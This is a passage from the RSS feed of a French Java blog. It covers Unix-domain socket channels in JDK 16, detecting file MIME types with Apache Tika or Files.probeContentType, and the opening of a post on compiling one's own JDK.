&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; De plus, étant un fichier, cela permet de gérer les droits avec les permissions Unix comme n&amp;#8217;importe quel fichier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour information, il existe déjà des librairies afin de réaliser cette opération. Par exemple, le projet &lt;a href=&quot;https://github.com/kohlschutter/junixsocket&quot;&gt;junixsocket&lt;/a&gt;, mais c&amp;#8217;est une librairie utilisant JNI.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de pouvoir en bénéfier avec un simple JDK sans dépendance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Windows 10 et Windows Server 2019 supportent aussi les sockets Unix.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;illustration&quot;&gt;Illustration&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour illuster l&amp;#8217;usage de ce type de socket, nous allons prendre l&amp;#8217;exemple de PostgreSQL.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sur une base de données PostgreSQL, nous pouvons se connecter localement au serveur de base de données sans utiliser le réseau. Par exemple, si nous utilisons la commande &lt;code&gt;psql -l&lt;/code&gt; pour lister les bases présentes. Nous pouvons obtenir par exemple le mesage suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;&amp;gt; psql -l
psql: could not connect to server: No such file or directory
	Is the server running locally and accepting
	connections on Unix domain socket &quot;/var/run/postgresql/.s.PGSQL.5432&quot;?&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si maintenant, nous prenons un utilisateur qui a le droit sur le fichier, cela va fonctionner.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;&amp;gt; psql -l
                                List of databases
    Name     |    Owner     | Encoding | Collate | Ctype |   Access privileges
-------------+--------------+----------+---------+-------+-----------------------
 postgres    | postgres     | UTF8     | C       | C     |
 template0   | postgres     | UTF8     | C       | C     | =c/postgres          +
             |              |          |         |       | postgres=CTc/postgres
 template1   | postgres     | UTF8     | C       | C     | =c/postgres          +
             |              |          |         |       | postgres=CTc/postgres&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De même, si l&amp;#8217;emplacement du fichier n&amp;#8217;est pas celui par défaut, nous pouvons utiliser la variable &lt;code&gt;PGHOST&lt;/code&gt; pour définir le chemin.
Il faudra toujours que l&amp;#8217;utilisateur possède les droits sur le fichier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;export PGHOST=/var/run/postgresql/srv&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela va permettre d&amp;#8217;accorder des privilièges particuliers si nous sommes connectés à la machine en SSH. Ainsi, nous allons pouvoir au contraire réduire les accès au minimum côté réseau.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;socket_channel_classique&quot;&gt;Socket Channel (classique)&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Revenons à Java et notamment au code associé à cette évolution. Mais avant, pour mieux comprendre la différence, regardons le code pour la création d&amp;#8217;une socket classique, nous avons le code suivant coté serveur :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;ServerSocketChannel ssc = ServerSocketChannel.open(/*StandardProtocolFamily.INET*/);
ssc.bind(new InetSocketAddress(&quot;127.0.0.1&quot;, 8085));
while ( true ) {
  SocketChannel socketChannel = ssc.accept();
  // Utilisation du SocketChannel sc
  ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Coté client, nous avons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;SocketChannel sc = SocketChannel.open(/*StandardProtocolFamily.INET*/);
sc.connect(new InetSocketAddress(&quot;127.0.0.1&quot;, 8085));
// Utilisation du SocketChannel sc
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; La méthode SocketChannel.open() et ServerSocketChannel peuvent prendre un paramètre : &lt;code&gt;ProtocolFamily&lt;/code&gt;. Avant le JDK 16, nous avons le choix entre &lt;code&gt;StandardProtocolFamily.INET&lt;/code&gt; et &lt;code&gt;StandardProtocolFamily.INET6&lt;/code&gt; en fonction si nous souhaitons utiliser IPv4 ou IPv6. Sans argument, la JVM choisit le protocole en fonction de la présence ou non du support d&amp;#8217;IPv6&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons utiliser :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;L&amp;#8217;api Stream (&lt;code&gt;InputStream&lt;/code&gt; / &lt;code&gt;OutputStream&lt;/code&gt;) de la socket avec la méthode &lt;code&gt;SocketChannel.getSocket()`&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;#8217;api &lt;code&gt;ByteByffer&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;socket_channel_unix_domain&quot;&gt;Socket Channel (unix domain)&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Coté socket Unix, cela n&amp;#8217;est pas plus compliqué. Nous avons une nouvelle famille de protocole &lt;code&gt;StandardProtocolFamily.UNIX&lt;/code&gt; et nous avons une classe qui représente l&amp;#8217;adresse correspondante, soit un simple fichier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;ServerSocketChannel ssc = ServerSocketChannel.open(StandardProtocolFamily.UNIX);
ssc.bind(UnixDomainSocketAddress.of(&quot;/tmp/mon-sock&quot;));
while ( true ) {
  SocketChannel sc = ssc.accept();
  // Utilisation du SocketChannel sc
  ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Coté client, nous avons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;SocketChannel sc = SocketChannel.open(StandardProtocolFamily.UNIX);
sc.connect(UnixDomainSocketAddress.of(&quot;/tmp/mon-sock&quot;));
// Utilisation du SocketChannel sc
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Seul, l&amp;#8217;API &lt;code&gt;ByteBuffer&lt;/code&gt; est disponible.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; La méthode SocketChannel.getSocket() n&amp;#8217;est pas implémentée.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/380&quot;&gt;JEP 380: Unix-Domain Socket Channels&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kohlschutter/junixsocket&quot;&gt;Projet junixsocket&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Comment récupérer le type MIME des fichiers ?</title>
      <link>https://www.lilian-benoit.fr/2021/01/Recuperer-le-type-des-fichiers.html</link>
      <pubDate>dim., 24 janv. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/01/Recuperer-le-type-des-fichiers.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#solution_apache_tika&quot;&gt;Solution Apache Tika&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#solution_jdk&quot;&gt;Solution JDK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#amélioration_de_la_solution_jdk&quot;&gt;Amélioration de la solution JDK&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#solution_existante&quot;&gt;Solution existante&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#compléments&quot;&gt;Compléments&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le cadre d&amp;#8217;un projet, j&amp;#8217;ai eu besoin de déterminer le type MIME des fichiers.
Je suis parti à la recherche de solution pour résoudre ce point.
J&amp;#8217;ai trouvé la librairie &lt;a href=&quot;https://tika.apache.org/&quot;&gt;Apache Tika&lt;/a&gt; mais des solutions existent dans le JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;solution_apache_tika&quot;&gt;Solution Apache Tika&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La librairie &lt;a href=&quot;https://tika.apache.org/&quot;&gt;Apache Tika&lt;/a&gt; est un outil pour analyser le contenu des fichiers (détection, extraction des métadonnées ou du contenu de texte structuré).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, il suffit d&amp;#8217;inclure la librairie suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;org.apache.tika&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;tika-core&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;1.25&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ensuite, le code est très simple car la librairie propose une classe Facade &lt;code&gt;Tika&lt;/code&gt; qui fournit un certain nombre de services dont celui qui nous intéresse.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;import org.apache.tika.Tika;

String typeMime = new Tika().detect(new File(&quot;/emplacement/de/mon/fichier&quot;));
System.out.println(&quot;Type Mime trouvé : &quot; + typeMime);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;solution_jdk&quot;&gt;Solution JDK&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Depuis le JDK 7, il existe déjà une solution pour détecter le type MIME.
En effet, la classe &lt;code&gt;Files&lt;/code&gt; possède une méthode statique  &lt;code&gt;probeContentType&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;import java.nio.file.Files;

String typeMime = Files.probeContentType(Path.of(&quot;/emplacement/de/mon/fichier&quot;));
System.out.println(&quot;Type Mime trouvé : &quot; + typeMime);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela fonctionne très bien mais il possède malheureusement des limites.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;implémentation existante se base sur la &lt;a href=&quot;http://www.ietf.org/rfc/rfc2045.txt&quot;&gt;RFC 2045: Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies&lt;/a&gt;. La détection est réalisée sur le nom du fichier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Cela implique que le contenu du fichier n&amp;#8217;est pas exploité. L&amp;#8217;effet de bord est que cela fonctionne même si le fichier n&amp;#8217;existe pas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est à dire que le même fichier (même contenu) va produire des résultats différents en fonction du nom de ce dernier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt; - mon-fichier.xml     =&amp;gt; application/xml
 - mon-fichier.xml.txt =&amp;gt; text/plain
 - mon-fichier         =&amp;gt; null&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;amélioration_de_la_solution_jdk&quot;&gt;Amélioration de la solution JDK&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK offre une classe abstraite &lt;code&gt;java.nio.file.spi.FileTypeDetector&lt;/code&gt; qui permet d&amp;#8217;enrichir le système de détection par défaut.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc nous pouvons implémenter un détecteur utilisant la librairie &lt;a href=&quot;https://tika.apache.org/&quot;&gt;Apache Tika&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class TikaFileTypeDetector extends FileTypeDetector {

	@Override
	public String probeContentType(Path path) throws IOException {
		return new Tika().detect(path);
	}

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe d&amp;#8217;extension utilise le mécanisme de &lt;code&gt;ServiceLoader&lt;/code&gt; afin que le JDK utilise notre classe. C&amp;#8217;est à dire que nous allons créer un répertoire &lt;code&gt;META-INF/services&lt;/code&gt; et y placer le fichier s&amp;#8217;appelant le nom de l&amp;#8217;interface &lt;code&gt;java.nio.file.spi.FileTypeDetector&lt;/code&gt; contenant le nom de notre classe d&amp;#8217;implémentation et le tour est joué.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ainsi, notre code utilise seulement le JDK sans dépendance externe et nous bénéficions des avantages de détection de la librarie &lt;a href=&quot;https://tika.apache.org/&quot;&gt;Apache Tika&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;solution_existante&quot;&gt;Solution existante&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le projet &lt;a href=&quot;https://tika.apache.org/&quot;&gt;Apache Tika&lt;/a&gt; a prévu aussi cette mise en oeuvre et l&amp;#8217;a fait pour nous. Pour l&amp;#8217;utiliser, il suffit de choisir le module tika-java7.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;org.apache.tika&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;tika-java7&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;1.25&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; En important le module &lt;code&gt;tika-java7&lt;/code&gt;, nous n&amp;#8217;avons plus besoin d&amp;#8217;importer le module &lt;code&gt;tika-core&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le nom du module peut améner une confusion en suggérant que le module fonctionne uniquement avec un JDK 7.
Et bien non, la signification &lt;code&gt;-java7&lt;/code&gt; indique simplement que la librairie implémente la classe abstraite &lt;code&gt;FileTypeDetector&lt;/code&gt; ajoutée dans le JDK 7.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;compléments&quot;&gt;Compléments&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au niveau de la librairie &lt;a href=&quot;https://tika.apache.org/&quot;&gt;Apache Tika&lt;/a&gt;, il est à noter une différence de traitement si nous passons en argument une instance de &lt;code&gt;String&lt;/code&gt; ou une instance de &lt;code&gt;File&lt;/code&gt; à la méhode &lt;code&gt;detect&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Si le paramètre est un &lt;code&gt;String&lt;/code&gt;, cela implique une détection par le nom&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si le paramètre est un &lt;code&gt;File&lt;/code&gt;, cela implique une détection par le contenu&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Bonne détection !&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://tika.apache.org/&quot;&gt;Site du projet Apache Tika&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/nio/file/spi/FileTypeDetector.html&quot;&gt;JavaDoc de la classe FileTypeDetector&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/apache/tika/commit/c44e747288aafc2a895559c047c3392e4ca8a32a&quot;&gt;PR Intégrant l&amp;#8217;API FileTypeDetector du JDK 7&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Construire son propre JDK</title>
      <link>https://www.lilian-benoit.fr/2021/01/Compiler-son-propre-JDK.html</link>
      <pubDate>dim., 10 janv. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/01/Compiler-son-propre-JDK.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#environnement&quot;&gt;Environnement&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#linux&quot;&gt;Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#git&quot;&gt;Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#outils_de_compilation&quot;&gt;Outils de compilation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jdk&quot;&gt;JDK&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#les_étapes&quot;&gt;Les étapes.&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#1_préambule&quot;&gt;1. Préambule&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#2_récupération_des_sources&quot;&gt;2. Récupération des sources&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#3_récupération_du_jdk&quot;&gt;3. Récupération du JDK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#4_configuration_des_outils&quot;&gt;4. Configuration des outils&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#5_lancement_de_la_compilation&quot;&gt;5. Lancement de la compilation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#6_vérification_et_utilisation&quot;&gt;6. Vérification et utilisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#7_bonus&quot;&gt;7. Bonus&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les binaires du JDK sont disponible sur le &lt;a href=&quot;http://jdk.java.net/&quot;&gt;site du JDK&lt;/a&gt; mais il est maintenu tant qu&amp;#8217;une nouvelle version n&amp;#8217;était pas sortie. Par exemple, lors de l&amp;#8217;écriture de ce billet, c&amp;#8217;est le JDK 15 qui est disponible. Il le restera tant que le JDK 16 n&amp;#8217;est pas sortie. Ce dernier est disponible uniquement en accès anticipé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il existe aussi plusieurs fournisseurs dont votre distribution préférée si vous êtes sur Linux. Sinon, je vous conseille fortement, le projet &lt;a href=&quot;https://adoptopenjdk.net&quot;&gt;AdoptOpenJDK&lt;/a&gt; initié par &lt;a href=&quot;https://londonjavacommunity.co.uk/&quot;&gt;London Java Community&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors de mes conférences sur la migration Java 11 (&lt;a href=&quot;https://www.lilian-benoit.fr/2019/03/java11_est_sorti_c_est_le_moment_de_changer_son_jdk8.html&quot;&gt;Marseille&lt;/a&gt;, &lt;a href=&quot;https://www.lilian-benoit.fr/2019/05/java11-12_c_est_le_moment_de_changer_son_jdk8.html&quot;&gt;Bordeaux&lt;/a&gt; ou &lt;a href=&quot;https://www.lilian-benoit.fr/2019/09/java11-12-13_c_est_le_moment_de_changer_son_jdk8.html&quot;&gt;Paris&lt;/a&gt;), j&amp;#8217;ai eu l&amp;#8217;occassion de signaler qu&amp;#8217;il était aussi  possible de compiler son propre JDK puisque les &lt;a href=&quot;https://git.openjdk.java.net/jdk/&quot;&gt;sources&lt;/a&gt; sont disponibles en GPL.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le déclic est venu lors des annonces de la &lt;a href=&quot;http://openjdk.java.net/jeps/358&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 358 Helpfull NullPointerException&lt;/a&gt; dans le JDK14, j&amp;#8217;ai eu envie de tester moi-même cette fonctionnalité. Cependant, elle n&amp;#8217;était pas encore intégrée dans une version en accès anticipé. Cela a été l&amp;#8217;occassion de se lancer et d&amp;#8217;écrire &lt;a href=&quot;http://www.lilian-benoit.fr/2019/10/jep358-helpful-NullPointerExceptions.html&quot;&gt;ce billet&lt;/a&gt; sur cette fonctionnalité. J&amp;#8217;ai utilisé les diapositives de &lt;a href=&quot;https://twitter.com/JosePaumard&quot;&gt;José Paumard&lt;/a&gt; qui a utilisé à &lt;a href=&quot;https://www.devoxx.fr/&quot;&gt;Devoxx France&lt;/a&gt; 2019.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, cela est encore plus simple depuis le projet Skara et la migration sur Git des sources du JDK. Plus besoin du client mercurial et des connaissances dessus. Si vous voulez plus d&amp;#8217;informations sur le &lt;a href=&quot;https://www.lilian-benoit.fr/2021/01/Projet_Skara_C_est_quoi.html&quot;&gt;projet Skara et/ou la migration sur GIT&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;environnement&quot;&gt;Environnement&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;linux&quot;&gt;Linux&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
